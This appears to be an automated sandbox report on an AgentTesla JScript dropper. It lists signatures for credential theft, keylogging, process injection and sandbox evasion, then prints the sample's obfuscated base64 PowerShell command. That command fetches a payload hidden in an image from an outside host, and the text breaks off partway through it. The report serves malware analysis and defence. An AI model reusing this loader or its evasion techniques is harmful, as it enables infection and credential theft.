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Windows
Analysis Report
RFQ448903423_MAT_HASUE_de_Mexico.js
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected MSILDownloaderGeneric
Yara detected Powershell download and execute
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 652 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\RFQ44 8903423_MA T_HASUE_de _Mexico.js " MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 768 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' J? ? ? ? B p? ? ? ? G 0? ? ? ? Y QBn? ? ? ? GU? ? ? ? VQBy? ? ? ? Gw? ? ? ? I? ? ? ? ? ? ? ? 9? ? ? ? C ? ? ? ? ? ? ? ? JwBo ? ? ? ? HQ ? ? ? ? d? ? ? ? Bw? ? ? ? HM? ? ? ? Og? ? ? ? v? ? ? ? C8? ? ? ? aQBh ? ? ? ? DY ? ? ? ? M? ? ? ? ? ? ? ? x? ? ? ? DY? ? ? ? M? ? ? ? ? ? ? ? 2? ? ? ? C4? ? ? ? dQBz? ? ? ? C4? ? ? ? YQBy? ? ? ? GM? ? ? ? a? ? ? ? Bp? ? ? ? HY? ? ? ? ZQ? ? ? ? u? ? ? ? G8? ? ? ? cgBn? ? ? ? C8? ? ? ? MQ? ? ? ? w? ? ? ? C8? ? ? ? aQB0? ? ? ? GU? ? ? ? bQBz? ? ? ? C8? ? ? ? Z? ? ? ? Bl? ? ? ? GE? ? ? ? d? ? ? ? Bo? ? ? ? G4? ? ? ? bwB0? ? ? ? GU? ? ? ? Xw? ? ? ? y? ? ? ? D? ? ? ? ? ? ? ? Mg? ? ? ? 0? ? ? ? D? ? ? ? ? ? ? ? N w? ? ? ? v ? ? ? ? GQ ? ? ? ? ZQ Bh? ? ? ? HQ? ? ? ? a? ? ? ? B u? ? ? ? G 8? ? ? ? d ? ? ? ? Bl ? ? ? ? C4 ? ? ? ? ag Bw? ? ? ? Gc? ? ? ? Jw? ? ? ? 7? ? ? ? C Q? ? ? ? d wBl? ? ? ? GI? ? ? ? QwBs? ? ? ? Gk? ? ? ? ZQBu? ? ? ? HQ? ? ? ? I? ? ? ? ? ? ? ? 9? ? ? ? C? ? ? ? ? ? ? ? Tg Bl? ? ? ? Hc? ? ? ? LQBP? ? ? ? GI? ? ? ? agBl? ? ? ? GM? ? ? ? d? ? ? ? ? ? ? ? g? ? ? ? FM? ? ? ? eQBz? ? ? ? HQ? ? ? ? ZQBt? ? ? ? C4? ? ? ? TgBl? ? ? ? HQ? ? ? ? LgBX ? ? ? ? GU ? ? ? ? Yg BD? ? ? ? Gw? ? ? ? aQBl? ? ? ? G4? ? ? ? d? ? ? ? ? ? ? ? 7 ? ? ? ? CQ ? ? ? ? aQ Bt? ? ? ? GE? ? ? ? ZwBl? ? ? ? EI? ? ? ? eQB0? ? ? ? GU? ? ? ? cw? ? ? ? g? ? ? ? D0? ? ? ? I? ? ? ? ? ? ? ? k? ? ? ? H c? ? ? ? Z QBi? ? ? ? EM? ? ? ? b? ? ? ? Bp? ? ? ? GU? ? ? ? bgB0? ? ? ? C4? ? ? ? R? ? ? ? Bv? ? ? ? Hc? ? ? ? bgBs? ? ? ? G8? ? ? ? YQBk? ? ? ? EQ? ? ? ? YQB0? ? ? ? GE? ? ? ? K? ? ? ? ? ? ? ? k? ? ? ? Gk? ? ? ? bQBh? ? ? ? Gc? ? ? ? ZQBV? ? ? ? HI? ? ? ? b? ? ? ? ? ? ? ? p? ? ? ? Ds? ? ? ? J? ? ? ? Bp? ? ? ? G0? ? ? ? YQBn? ? ? ? GU? ? ? ? V? ? ? ? Bl? ? ? ? Hg? ? ? ? d? ? ? ? ? ? ? ? g? ? ? ? D 0? ? ? ? I ? ? ? ? Bb ? ? ? ? FM ? ? ? ? eQ Bz? ? ? ? HQ? ? ? ? ZQBt? ? ? ? C4? ? ? ? V? ? ? ? Bl? ? ? ? Hg? ? ? ? d? ? ? ? ? ? ? ? u? ? ? ? EU? ? ? ? bgB j? ? ? ? G 8? ? ? ? Z ? ? ? ? Bp ? ? ? ? G4 ? ? ? ? Zw Bd? ? ? ? Do? ? ? ? OgBV? ? ? ? FQ? ? ? ? Rg? ? ? ? 4? ? ? ? C4? ? ? ? RwBl? ? ? ? HQ? ? ? ? UwB0? ? ? ? HI? ? ? ? aQBu? ? ? ? Gc? ? ? ? K? ? ? ? ? ? ? ? k? ? ? ? Gk? ? ? ? bQBh? ? ? ? Gc? ? ? ? ZQBC? ? ? ? Hk? ? ? ? d? ? ? ? Bl? ? ? ? HM? ? ? ? KQ? ? ? ? 7? ? ? ? CQ? ? ? ? cwB0? ? ? ? GE? ? ? ? cgB 0? ? ? ? E Y? ? ? ? b ? ? ? ? Bh ? ? ? ? Gc ? ? ? ? I? ? ? ? ? ? ? ? 9? ? ? ? C? ? ? ? ? ? ? ? Jw? ? ? ? 8? ? ? ? Dw? ? ? ? QgBB? ? ? ? FM? ? ? ? RQ? ? ? ? 2? ? ? ? DQ? ? ? ? XwBT? ? ? ? FQ? ? ?